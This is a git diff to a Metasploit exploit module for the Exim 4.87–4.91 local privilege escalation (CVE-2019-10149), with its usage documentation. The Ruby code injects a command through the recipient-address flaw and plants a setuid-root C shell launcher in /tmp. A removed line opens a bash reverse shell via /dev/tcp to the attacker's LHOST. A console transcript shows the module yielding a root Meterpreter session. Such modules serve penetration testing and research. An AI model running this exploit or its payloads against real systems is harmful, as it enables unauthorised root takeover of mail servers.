diff --git a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md index 1098b48add..6a4c8216c2 100644 --- a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md +++ b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md @@ -1,11 +1,88 @@ # Vulnerable Application +Exim 4.87 - 4.91 Local Privilege Escalation + +This module implements a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to remote command execution (CVE-2019-10149). + +Both meterpreter shell and classic shell are supported but the behavior will be slightly different: + +- For both types of shell, the exploit will try to create a new session with the payload you provide. If the exploit goes well, this will be a root session. +- If you have a classic shell and the exploit couldn't create a new session, it will try to upgrade your current session to a root shell. + # Creating A Testing Environment +You basically just need to have a exim (between 4.87 and 4.91 inclusive) running and listening on a port (port 25 by default). +For my tests, I used a VM with Ubuntu 18.04 LTS and exim 4.89 (I tested all the versions from 4.87 to 4.91). The exim source code can be downloaded from the official website (all the old versions can be found). +You can also use this good Docker image which sets up a container with a vulnerable exim version running (https://github.com/dhn/exploits/tree/master/CVE-2019-10149). + +Before using the exploit, make sure exim is actually listening on a port (it may sound stupid, but I struggled a bit when creating a testing environment). However, you should not have any problem if you use the Docker image linked above. + # Verification Steps +1. `use exploit/linux/local/exim4_deliver_message_priv_esc` +2. `set SESSION [session]` +3. `set PAYLOAD [payload]` +4. `set LHOST [lhost]` +5. `set LPORT [lport]` +6. `exploit` + # Options +## PAYLOAD + +Set this option to choose which type of root session you want to create (obviously you should try a meterpreter payload first). + +## EXIMPATH + +The path to the exim executable that is running on the target machine. This is used to check the version of exim to know whether it is vulnerable. If you let this option unset, the exploit will assume that the directory of exim is in the PATH environment variable. + +## EXIMPORT + +The port that exim is listening to. On most cases it will be port 25 (which is the default). + +## WritableDir + +A directory where we can write files (default is /tmp). + + # Scenarios +## Privilege escalation starting with a meterpreter shell +``` +meterpreter > getuid +Server username: uid=1000, gid=1000, euid=1000, egid=1000 +meterpreter > +Background session 1? [y/N] +msf5 exploit(multi/handler) > use exploit/linux/local/exim4_deliver_message_priv_esc +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set session 1 +session => 1 +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lhost 192.168.0.50 +lhost => 192.168.0.50 +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lport 13371 +lport => 13371 +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp +payload => linux/x86/meterpreter/reverse_tcp +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set EXIMPATH /usr/exim/bin/exim +EXIMPATH => /usr/exim/bin/exim +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > check +[*] The target appears to be vulnerable. +msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > exploit + +[*] Started reverse TCP handler on 192.168.0.50:13371 +[*] Payload sent, wait a few seconds... +[*] Sending stage (985320 bytes) to 192.168.0.80 +[*] Meterpreter session 2 opened (192.168.0.50:13371 -> 192.168.0.80:45562) at 2019-07-07 23:46:37 +0100 +[+] Deleted /tmp/eMhzFtUYGQ +[+] Check session 2, you should have a root shell! + +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +meterpreter > sysinfo +Computer : 192.168.0.80 +OS : Ubuntu 18.04 (Linux 4.18.0-25-generic) +Architecture : x64 +BuildTuple : i486-linux-musl +Meterpreter : x86/linux +meterpreter > +``` diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 5423f8cb4d..2a4acabd03 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Local def initialize(info = {}) super(update_info(info, - 'Name' => 'Exim 4.87 - 4.91 Privilege Escalation', + 'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation', 'Description' => %q{ This module implements a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() @@ -131,64 +131,73 @@ class MetasploitModule < Msf::Exploit::Local end print_status('Payload sent, wait a few seconds...') - sleep(5) + Rex.sleep(5) end def on_new_session(session) - print_good("Check session #{session.name}, you should have a root shell!") - ensure super + + if session.type == 'meterpreter' + session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') + session.fs.file.rm(@suid_shell_launcher) + else + client.shell_command_token("rm -f #{@suid_shell_launcher}") + end + + print_good("Check session #{session.name}, you should have a root shell!") end def exploit - if session.type == 'meterpreter' - meterpreter_shell = File.join(datastore['WritableDir'], - Rex::Text.rand_text_alpha(10)) - write_file(meterpreter_shell, payload.encoded_exe) - register_files_for_cleanup(meterpreter_shell) - cmd_exec("chmod +x #{meterpreter_shell}") - inject_payload(encode_command("/bin/sh -c \"#{meterpreter_shell}\"")) + shell = File.join(datastore['WritableDir'], + Rex::Text.rand_text_alpha(10)) + write_file(shell, payload.encoded_exe) + register_files_for_cleanup(shell) + cmd_exec("chmod +x #{shell}") - if !session_created? - print_error('Couldn\'t escalate privileges') - end - else - print_status('Trying to escalate privileges with setuid method') - shell_launcher_c_code = %| + shell_launcher_c_code = %| #include #include int main() { setuid(0); setgid(0); - execve("/bin/bash", NULL, NULL); + char *argv[] = {"#{shell}", NULL}; + execve("#{shell}", argv, NULL); return 0; } - | + | - @suid_shell_launcher_path = File.join(datastore['WritableDir'], - Rex::Text.rand_text_alpha(10)) - write_file("#{@suid_shell_launcher_path}.c", shell_launcher_c_code) - cmd_exec("gcc -o #{@suid_shell_launcher_path} #{@suid_shell_launcher_path}.c 2>&1") - file_rm("#{@suid_shell_launcher_path}.c") - inject_payload(encode_command("/bin/bash -c \"chown root #{@suid_shell_launcher_path};"\ - "chmod 4755 #{@suid_shell_launcher_path}\"")) - cmd_exec(@suid_shell_launcher_path) - file_rm(@suid_shell_launcher_path) + @suid_shell_launcher = File.join(datastore['WritableDir'], + Rex::Text.rand_text_alpha(10)) + write_file("#{@suid_shell_launcher}.c", shell_launcher_c_code) + cmd_exec("gcc -o #{@suid_shell_launcher} #{@suid_shell_launcher}.c") + file_rm("#{@suid_shell_launcher}.c") + inject_payload(encode_command("/bin/bash -c \"chown root #{@suid_shell_launcher};"\ + "chmod 4755 #{@suid_shell_launcher}\"")) + file_info = cmd_exec("ls -l #{@suid_shell_launcher}") + if file_info =~ /-rwsr-xr-x/ && file_info =~ /root/ + cmd_exec(@suid_shell_launcher) + + if session_created? + return + end + end + + file_rm(shell) + + if session.type == 'shell' + cmd_exec("cp /bin/bash #{shell}") + cmd_exec(@suid_shell_launcher) if is_root? print_good('You are now root, enjoy!') - return - end - - print_warning('Couldn\'t escalate privileges, trying reverse shell method') - - inject_payload(encode_command("/bin/bash -c \"/bin/bash -i >& /dev/tcp/#{datastore['LHOST']}/"\ - "#{datastore['LPORT']} 0>&1 &\"")) - - if !session_created? + else print_error('Couldn\'t escalate privileges') end + else + print_error('Couldn\'t escalate privileges') end + + file_rm(@suid_shell_launcher) end end